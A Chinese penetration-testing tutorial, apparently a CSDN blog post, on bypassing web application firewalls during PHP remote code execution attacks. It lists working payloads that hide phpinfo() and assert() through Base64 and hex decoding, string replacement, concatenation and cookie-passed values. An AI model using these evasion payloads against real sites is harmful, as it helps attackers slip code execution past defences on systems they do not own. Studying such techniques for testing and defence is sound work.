今天继续给大家介绍渗透测试相关知识,本文主要内容是RCE攻击绕过WAF详解。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
针对RCE类型的攻击,有时WAF会进行拦截,如下所示:
上图是安全狗对网页木马的拦截页面。对于不同的WAF而言,对RCE攻击拦截的原理是不同的,有的是检测用户输入的内容,有的是检测用户访问页面的内容。对于RCE漏洞而言,我们无法控制页面本身的内容,通常管理员会进行合理的设置,避免WAF对页面本身内容的拦截,因此WAF对RCE攻击的拦截通常是在用户输入上。例如,用户输入了phpinfo()、system等关键字符串。
针对RCE的WAF拦截问题,我们首先想到的解决方式就是通过编码的方式来进行绕过。
我们尝试将phpinfo()这样的敏感信息,通过Base64加密后,作为base64_decode()函数的输入。例如,构造payload如下所示:
base64_decode('cGhwaW5mbygpOw==')
payload中的“cGhwaW5mbygp”是phpinfo()的Base64加密后的值。
然而,这样的方式,却并不能达到我们预定的效果。
原因在于,上述payload与eval函数拼接成如下的代码:
eval("base64_decode('cGhwaW5mbygpOw==')")
eval函数可以将输入当作命令来执行,但是我们的输入是一个base64_decode()函数,因此eval函数会执行base64_decode()函数,该函数执行的结果是phpinfo(),但是该函数执行后的结果并没有执行。相当于上述代码得到的是“phpinfo()”的字符串,并不是执行了phpinfo()函数的效果。
因此,这种以编码和解码的方式绕过WAF是不可行的。
但是,我们可以采用以下的方式,即在base64_decode()函数的外面,加上一个assert()函数,payload如下所示:
assert(base64_decode('cGhwaW5mbygpOw=='))
这样的话,assert()函数与最外层的eval()函数组合后就会形成如下代码片段:
eval(assert(base64_decode('cGhwaW5mbygpOw==')))
这样,该函数就可以成功执行了。
当然,我们也可以使用分号,将上述payload拆分成等效的payload,如下所示:
$exp=base64_decode('cGhwaW5mbygp');assert($exp);
该payload执行后结果如下所示:
除了Base64编码以外,我们还可以使用16进制编码。解码函数为pack()函数,构造的payload如下所示:
x=assert(pack(%27H*%27,%27706870696e666f28293b%27));
由分号构成的等效payload如下所示:
x=$exp='706870696e666f28293b';assert(pack('H*',$exp));
除了上述方式绕过以外,我们还可以通过替换和拼接方式来绕过WAF。替换的方式就是在phpinfo这个易被检测到的关键字中间添加其他的字符,再使用str_replace()函数将添加的字符替换为空,这样的方式构造的payload如下所示:
x=$exp=str_replace('abc','','phpabcinfo();');assert($exp);
上述payload执行结果如下所示:
除了使用替换的方式以外,我们还可以用拼接的方式,将原来的敏感字符替换成两部分,然后再把这两部分拼接起来,就可以达到效果了,根据这种方式构造的payload如下所示:
x=$exp1='php';$exp2='info()';$exp3=$exp1.$exp2;assert($exp3);
上述payload执行结果如下所示:
以上的payload,大多都含有assert关键字。当我们使用上述payload的时候,尽管可以绕开对phpinfo();等关键字的限制,但是却使用了另一种assert关键字。如果要避免使用assert()关键字,那么我们可以将assert关键字也通过上述方式,来进行拼接或者替换,然后执行。通过这种方式构造的payload如下所示:
x=$exp1='ass';$exp2='ert';$exp3='php';$exp4='info();';$exp5=$exp1.$exp2;$exp5($exp3.$exp4);
除了上述方法外,我们还可以采用其他的方式来绕过WAF。比如,我们采用其他的上述方式来绕过WAF。WAF对用户输入的检测是存在一定限制的,这个限制来源于WAF的资源,如果WAF占用太多的资源,就会影响业务系统正常运行,因此WAF再很多时候都会放松对cookie等方式的检验。因此,我们就可以利用这个原理,构造payload,让代码接收cookie方式的变量,然后把敏感字符以cookie的方式上传。这样构造的payload如下所示:
x=$exp=$_COOKIE['exp2'];assert($exp);
exp2=phpinfo();
上述讲了很多的payload及其原理,这些payload的构造思想,可以联合起来使用,或许会起到更好的效果!
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200